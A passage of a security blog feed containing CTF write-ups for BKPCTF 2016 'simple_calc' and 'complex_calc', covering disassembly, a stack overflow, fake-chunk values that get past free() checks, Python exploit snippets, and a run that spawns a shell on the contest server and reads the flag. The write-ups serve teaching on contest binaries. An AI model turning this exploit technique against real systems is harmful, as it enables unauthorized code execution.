&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000435670                                         &lt;&#x2F;span&gt;&lt;span&gt;; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_nl_load_domain+4C9&lt;&#x2F;span&gt;&lt;span&gt; ...
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000435670&lt;&#x2F;span&gt;&lt;span&gt;                 mov     eax, 0Bh        ; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Alternative&lt;&#x2F;span&gt;&lt;span&gt; name is &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;__munmap&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000435675&lt;&#x2F;span&gt;&lt;span&gt;                 syscall
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000435677&lt;&#x2F;span&gt;&lt;span&gt;                 cmp     rax,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -0FFFh
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:000000000043567D&lt;&#x2F;span&gt;&lt;span&gt;                 jnb     __syscall_error
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000435683&lt;&#x2F;span&gt;&lt;span&gt;                 retn
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000435683&lt;&#x2F;span&gt;&lt;span&gt; munmap          endp
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;If the syscall fails, it will nicely set $rax to a negative value and
return back to &lt;code&gt;free()&lt;&#x2F;code&gt;, which will return (in error as well but we don’t care)
to our main loop, which can then return nicely too and trigger our
code. Perfect! Let’s go with this!&lt;&#x2F;p&gt;
&lt;h3 id=&quot;exploitation&quot;&gt;Exploitation&lt;&#x2F;h3&gt;
&lt;p&gt;So we are going to use the arithmetic operators and result locations in the
&lt;code&gt;.bss&lt;&#x2F;code&gt; since they are at predictable, bearing in mind that each one of them is
only a DWORD (whereas we are here on x86-64 architecture). We will want to set
the following mapping:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.bss:00000000006C4A88&lt;&#x2F;span&gt;&lt;span&gt; add_result      dd ?                    ; &amp;lt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt; previous chunk size
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.bss:00000000006C4A8C&lt;&#x2F;span&gt;&lt;span&gt;                 align 10h
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.bss:00000000006C4A90&lt;&#x2F;span&gt;&lt;span&gt; div_operator_1  dd ?                    ; &amp;lt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt; chunk size (need to | &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt; for flag IS_`&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;mmap&lt;&#x2F;span&gt;&lt;span&gt;`-ed)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.bss:00000000006C4A94&lt;&#x2F;span&gt;&lt;span&gt; div_operator_2  dd ?                    ; &amp;lt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;-
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.bss:00000000006C4A98&lt;&#x2F;span&gt;&lt;span&gt; div_result      dd ?                    ; &amp;lt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt; free will point @this chunk
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.bss:00000000006C4A9C&lt;&#x2F;span&gt;&lt;span&gt;                 align 10h
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We will point the $rdi used by the &lt;code&gt;free()&lt;&#x2F;code&gt; call pointing to &lt;code&gt;div_result&lt;&#x2F;code&gt;. But
now which value should we use then for operator_1 and operator_2 ?&lt;&#x2F;p&gt;
&lt;p&gt;Let’s go back to &lt;code&gt;free()&lt;&#x2F;code&gt; flow graph:&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;7ZEy4nD.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;7ZEy4nD.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;As we see, several conditions must be filled:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;chunk_size = div_operator_2 | div_operator_1&lt;&#x2F;code&gt; (and &lt;strong&gt;must&lt;&#x2F;strong&gt; be divisible by 2).&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;prev_size  = dword_padding  | add_result&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;0x0fff &amp;amp; ((@prev_size-prev_size) | (prev_size+size&amp;amp;0xfff...ff8)) == 0&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;If we passed those checks, $rcx will have the address to &lt;code&gt;munmap()&lt;&#x2F;code&gt;, and $rsi
the range to deallocate. &lt;code&gt;add_result&lt;&#x2F;code&gt; is at 0x6C4A88 so we must ensure the three
last nibbles end with 0xa88 to nullify the substration. We decide to store in
&lt;code&gt;add_result&lt;&#x2F;code&gt; the value 0x0x11111a88 as the addition of 0x11110a88 and 0x1000&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# set add_result
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    op1 = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x11110a88
&lt;&#x2F;span&gt;&lt;span&gt;    op2 = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x00001000
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;do_add&lt;&#x2F;span&gt;&lt;span&gt;(s, op1, op2)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ok&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;prev_size=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%#x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%#x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%#x&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; % (op2, op1, op1+op2))
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now that we have &lt;code&gt;prev_size&lt;&#x2F;code&gt;, we can make up a value for &lt;code&gt;size&lt;&#x2F;code&gt; too. But here is
the trick, the value of &lt;code&gt;size&lt;&#x2F;code&gt; will end in $rdi when &lt;code&gt;munmap&lt;&#x2F;code&gt; syscall will
happen. If we point to a valid address, it will be unmapped and our exploit will
fail. So to be safe, we will use a huge valid and let the kernel throw us away
:) Here we used 0x7fffdeaa0000.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;size = 0x7fffdeaa0000 - 0x11111a88 = 0x9ffffeee578&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Splitting the result into 2 DWORD and we have div_operator_1=0xfffeee578 and
div_operator_2=0x9f.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# set div_1 and div_2
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    op2, op1  = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x9f&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xfffeee578 &lt;&#x2F;span&gt;&lt;span&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;2
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;do_div&lt;&#x2F;span&gt;&lt;span&gt;(s, op1, op2)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ok&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;size=0x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%.8x%.8x&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; % (op2, op1))
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The rest of the exploit is exactly similar to the one used for &lt;code&gt;simple_calc&lt;&#x2F;code&gt;!&lt;&#x2F;p&gt;
&lt;p&gt;Fire up!&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; .&#x2F;complex_calc.py                                                                                                                                       &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;23:43&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Connected to simplecalc.bostonkey.party:5500
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Running 47 calculations
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Building fake chunk 0x6c4a98
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; prev_size=0x1000+0x11110a88=0x11111a88
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; size=0x0000009ffffeee57a
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Got it, interacting (Ctrl-C to break)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Get a PTY with &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt; python -c &amp;quot;import pty;pty.spawn(&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&#x2F;bin&#x2F;bash&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;)&amp;quot;  &lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cat&lt;&#x2F;span&gt;&lt;span&gt; key
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;BKPCTF{th3&lt;&#x2F;span&gt;&lt;span&gt; l4st 1 2 3z}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And we get &lt;code&gt;BKPCTF{th3 l4st 1 2 3z}&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The full exploit is &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;7bcb5db17b75a86ae3bd&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>BKPCTF 2016 - Simple Calc</title>
        <published>2016-03-07T22:51:04+00:00</published>
        <updated>2016-03-07T22:51:04+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2016-03-07-bkpctf-2016-simple-calc-writeup/"/>
        <id>https://blahcat.github.io/2016-03-07-bkpctf-2016-simple-calc-writeup/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2016-03-07-bkpctf-2016-simple-calc-writeup/">&lt;h3 id=&quot;info&quot;&gt;Info&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;~&#x2F;cur&#x2F;simple_calc&lt;&#x2F;span&gt;&lt;span&gt; $ file b28b103ea5f1171553554f0127696a18c6d2dcf7
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;b28b103ea5f1171553554f0127696a18c6d2dcf7:&lt;&#x2F;span&gt;&lt;span&gt; ELF 64-bit LSB executable, x86-64, version 1 (GNU&#x2F;Linux)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; statically linked, for GNU&#x2F;Linux 2.6.24, BuildID&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;sha1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;=3ca876069b2b8dc3f412c6205592a1d7523ba9ea, not stripped
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;~&#x2F;cur&#x2F;simple_calc&lt;&#x2F;span&gt;&lt;span&gt; $ checksec.sh&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; --file&lt;&#x2F;span&gt;&lt;span&gt; b28b103ea5f1171553554f0127696a18c6d2dcf7
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;RELRO&lt;&#x2F;span&gt;&lt;span&gt;           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Partial&lt;&#x2F;span&gt;&lt;span&gt; RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   b28b103ea5f1171553554f0127696a18c6d2dcf7
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;vulnerability&quot;&gt;Vulnerability&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;simple_calc&lt;&#x2F;code&gt; offered a binary that expects us to make some calculations. It will ask for a number of calculations (say &lt;em&gt;N&lt;&#x2F;em&gt;) to perform and will &lt;code&gt;malloc()&lt;&#x2F;code&gt; &lt;em&gt;N&lt;&#x2F;em&gt;x4 bytes in the heap. If we decompile with &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.hex-rays.com&#x2F;products&#x2F;ida&#x2F;&quot;&gt;IDA&lt;&#x2F;a&gt;, it’ll look something like this:&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;aFaqYf6.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;aFaqYf6.png&quot;

    

    
    title=&quot;vuln_in_ida&quot;
    alt=&quot;vuln_in_ida&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Then a loop of &lt;em&gt;N&lt;&#x2F;em&gt; iterations will commence,
each iteration offering to perform one of the possible arithmetic operations,
ADD&#x2F;SUB&#x2F;MUL&#x2F;DIV, or exit. Those operations perform pretty much what you expect of them,
which take in 2 DWORD operands, and apply the function. What is worth noticing is that
both operands and result are stored in the &lt;code&gt;.bss&lt;&#x2F;code&gt; (therefore at predictable
addresses).&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;asm&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-asm &quot;&gt;&lt;code class=&quot;language-asm&quot; data-lang=&quot;asm&quot;&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.bss:00000000006C4A84 add_operator_2  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;dd &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;                    ; DATA XREF: adds+40
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.bss:00000000006C4A84&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;                                         ; adds+69 ...
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.bss:00000000006C4A88 add_result      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;dd &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;                    ; DATA XREF: adds+96
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.bss:00000000006C4A88&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;                                         ; adds+9C ...
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.bss:00000000006C4A8C                 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;align &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;10h
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.bss:00000000006C4A90                 public div_operator_1
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.bss:00000000006C4A90 div_operator_1  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;dd &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;                    ; DATA XREF: divs+13
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.bss:00000000006C4A90&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;                                         ; divs+5E ...
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.bss:00000000006C4A94 div_operator_2  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;dd &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;                    ; DATA XREF: divs+40
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.bss:00000000006C4A94&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;                                         ; divs+69 ...
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.bss:00000000006C4A98 div_result      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;dd &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;                    ; DATA XREF: divs+9B
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;By exiting, &lt;code&gt;simple_calc&lt;&#x2F;code&gt; performs a &lt;code&gt;memcpy()&lt;&#x2F;code&gt; of the malloc-ed buffer (whose
length is controlled by us) into a stack buffer (of length 0x28 bytes) located
at $rbp+40h.
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;0wcLH24.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;0wcLH24.png&quot;

    

    
    title=&quot;overflow&quot;
    alt=&quot;overflow&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;It is then easy to spot the trivial stack buffer overflow.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;exploitation&quot;&gt;Exploitation&lt;&#x2F;h3&gt;
&lt;p&gt;When an operation is finished, the resulting DWORD is stored inside the malloc-ed
buffer at the offset corresponding of the main loop iteration.
So the game here is to play with those (basic) arithmetic operations to
write arbitrary data in the malloc-ed buffer: for example, if we want to write
0x10001000 | 0x20002000 in our malloc-ed buffer, we would create 2 operations,
then perform:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;an ADD with op1=0x10000000 and op2=0x00001000&lt;&#x2F;li&gt;
&lt;li&gt;an ADD with op1=0x20000000 and op2=0x00002000&lt;&#x2F;li&gt;
&lt;li&gt;and so on&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;By calling successively the same arithmetic operation, say &lt;code&gt;ADD&lt;&#x2F;code&gt; (or any other),
we have a predictable way to populate the malloc-ed buffer.&lt;&#x2F;p&gt;
&lt;p&gt;To corrupt the memory we must fill the stack buffer entirely (40 bytes), so make
at least 10 operations. The stack buffer is followed (in the memory layout) by
variables, so we add 24 bytes of junk (3 QWORD), another QWORD for
overwriting the SFP, and a last to overwrite RIP.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;pwn&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;s&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    addrs = [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x41414141&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x42424242&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x43434343&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# overwritten vars
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x44444444&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x44444444&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# overwritten vars
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x44444444&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x44444444&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# overwritten vars
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x44444444&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x44444444&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# sfp
&lt;&#x2F;span&gt;&lt;span&gt;             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x45454545&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x45454545&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# rip
&lt;&#x2F;span&gt;&lt;span&gt;             ]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We execute and a SIGSEGV was well caught (as seen with
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;gef&quot;&gt;&lt;code&gt;gef&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;) :&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;rn4XSOR.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
